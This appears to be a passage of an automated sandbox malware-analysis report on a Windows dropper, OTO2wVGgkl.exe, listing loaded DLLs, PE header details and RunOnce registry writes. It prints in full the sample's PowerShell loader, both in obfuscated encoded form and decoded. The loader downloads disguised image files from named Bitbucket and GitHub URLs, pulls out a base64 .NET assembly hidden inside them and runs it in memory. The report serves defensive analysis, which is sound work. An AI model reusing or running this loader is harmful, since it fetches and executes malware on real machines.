Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: OTO2wVGgkl.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: OTO2wVGgkl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: OTO2wVGgkl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: OTO2wVGgkl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: OTO2wVGgkl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: OTO2wVGgkl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: OTO2wVGgkl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: OTO2wVGgkl.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: OTO2wVGgkl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: OTO2wVGgkl.exe
Source:	Binary string: wextract.pdbGCTL source: OTO2wVGgkl.exe

Source: OTO2wVGgkl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: OTO2wVGgkl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: OTO2wVGgkl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: OTO2wVGgkl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: OTO2wVGgkl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: OTO2wVGgkl.exe

Static PE information: 0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A1D28 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00007FF6975A1D28

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A1684 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF6975A1684

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
